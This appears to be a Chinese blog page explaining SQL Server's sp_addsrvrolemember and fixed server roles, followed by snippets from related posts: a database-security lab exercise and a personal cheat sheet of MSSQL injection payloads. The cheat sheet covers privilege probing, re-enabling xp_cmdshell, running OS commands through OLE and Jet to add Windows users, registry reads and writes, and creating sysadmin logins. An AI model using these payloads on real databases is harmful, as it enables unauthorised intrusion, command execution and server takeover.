SQL数据库sp_addsrvrolemember 登入用户权限赋予说明

1.权限赋予语句

sp_addsrvrolemember 是 SQL Server 中的一个系统存储过程,用于将特定的数据库角色添加到登录

执行语句可以用:EXEC sp addsrvrolemember ‘账户’,‘权限’

范例:EXEC sp addsrvrolemember ‘USER01’,‘sysadmin’

2.权限说明

1bulk admin执行 BULK INSERT 语句
2dbcreator创建、修改、删除和还原数据库
3diskadmin管理磁盘文件
4pmcessadmin管理在 SOL Server 实例中运行的进程
5securityadmin管理服务器登录账户
6serveradmin配置服务器范围的设置
7setupadmin添加和删除链接服务器
8sysadmin在 SOL Server 中进行任何活动,该角色的权限跨越所有其它固定服务器角色
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
实验9 数据库的安全管理 一、 实验目的 1、 掌握SQL Serve 的安全机制。 2、 掌握服务器的安全性管理。 3、 掌握数据库用户管理。 4、 掌握权限的管理。 二、 1、 使用企业管理器注册向导注册一个SQL Server服务器,选择"Windows身份验证模式"注册。如果已完成注册操作,先删除当前S QL Serve注册项,再重新注册。 2. 在企业管理器中通过SQL Server服务器属性对话框对SQL Server服务器进行混合认证模式配置。 3. 在Windows中创建用户账户,命名为"st_学号",如st_10。使用企业管理器为该用户创 建一个用于SQL Serve的登录账户,使用Windows身份认证,服务器角色为system administrators,授权可访问的studentsdb数据库,及数据库中的访问角色为publ ic和bdo。 4、 使用系统存储过程sp_grantlogin为实验内容3创建的Windows用户授权,使其具有登 录SQL Server的权限 sp_grantlogin 'stu51\st_41' 5、 使用系统存储过程sp_addlogin创建混合模式验证的SQL Server登录,指定用户名为"st_学号"(不必在Windows中建立该用户,下面以st_1 1为例),密码为学号,默认数据库为studentsdb。 sp_addlogin 'st_41','1007514241','studentsdb' 6、 使用企业管理器或系统存储过程sp_grantbaccess为登录账户st_11建立数据库用户 账户,指定用户名为st_user。 sp_grantdbaccess 'stu51\st_41','st_user' 7、 使用企业管理器或系统存储过程sp_addsrvrolemember将登陆账户st_11添加为固定 服务器角色sysadmin,使st_11所拥有的所有权限。 sp_addsrvrolemember 'stu51\st_41','sysadmin' 8、 使用企业管理器或系统存储过程sp_addrole为studentsdb数据库创建自定义数据库 角色student,并使student具有INSERT、DELETE、UPDATE对象权限和CREATE TABLE 语句权限。 sp_addrole 'student','INSERT、DELETE、UPDATE', ' CREATE TABLE ' grant 'INSERT、DELETE、UPDATE'on student 9、 使用企业管理器或系统存储过程sp_addrolemember将st_user添加为数据库角色stu dent成员,使它具有student的所有权限。 sp_addrolemember 'student', 'st_user' 10、 使用企业管理器或系统存储过程sp_helprotect查看表student_info所具有的权限。 sp_helprotect 11、 分别在studentsdb数据库的grade表和student_info表中进行插入/删除记录的操作 ,查看操作结果是否具有相应的权限 delete student_info where 学号='0001' 12、 使用企业管理器或系统存储过程sp_revikedbaccess从当前studentsdb数据库中删除 用户账户st_user。 sp_revokedbaccess st_user 13、 使用系统存储过程sp_defualtdb修改SQL Server登录账户st_11的默认数据库为master。 sp_defaultdb 'st_11','master' 14、 使用企业管理器或系统存储过程sp_droplogin删除SQL Server登录账户st_11。 sp_droplogin st_11 四、 实验思考 1、 使用系统存储过程查看固定服务器角色和固定数据库角色。说明固定服务器角色 和固定数据库角色有各什么数据库管理权限? 固定数据库角色是在每个数据库中都存在的预定义组。管理员可以将一个用户加入到一 个或多个数据库角色中。固定数据库角色不能被添加、修改或删除。 2、 Master数据库中的guest用户能否被删除,为什么? 不能。GUEST用户是一个您能加入到数据库并允许具有有效SQL Server登录的任何人访问数据库的一个特殊用户,以GUEST帐号访问数据库的用户被认为 是GUEST用户的身份并且继承GUEST帐号的所有权限和许可。 ----------------------- 数据库的安全管理全文共9页,当前为第1页。 数据库的安全管理全文共9页,当前为第2页。 数据库的安全管理全文共9页
常用的一些命令: 我记性不好,所以把常用的注入代码记录下来,有点乱,但对我来说,还算很有用,希望大家也会喜欢! //看看是什么权限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //检测是否有读取某数据库的权限 and 1= (Select HAS_DBACCESS('master')) And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- 数字类型 and char(124)%2Buser%2Bchar(124)=0 字符类型 ' and char(124)%2Buser%2Bchar(124)=0 and ''=' 搜索类型 ' and char(124)%2Buser%2Bchar(124)=0 and '%'=' 爆用户名 and user>0 ' and user>0 and ''=' 检测是否为SA权限 and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- 检测是不是MSSQL数据库 and exists (select * from sysobjects);-- 检测是否支持多行 ;declare @d int;-- 恢复 xp_cmdshell ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';-- select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') //----------------------- // 执行命令 //----------------------- 首先开启沙盘模式: exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 然后利用jet.oledb执行系统命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 执行命令 ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';-- EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111' 判断xp_cmdshell扩展存储过程是否存在: http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') 写注册表 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 REG_SZ 读注册表 exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit' 读取目录内容 exec master..xp_dirtree 'c:\winnt\system32\',1,1 数据库备份 backup database pubs to disk = 'c:\123.bak' //爆出长度 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;-- 更改sa口令方法:用sql综合利用工具连接后,执行命令: exec sp_password NULL,'新密码','sa' 添加和删除一个SA权限的用户test: exec master.dbo.sp_addlogin test,ptlove exec master.dbo.sp_addsrvrolemember test,sysadmin

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值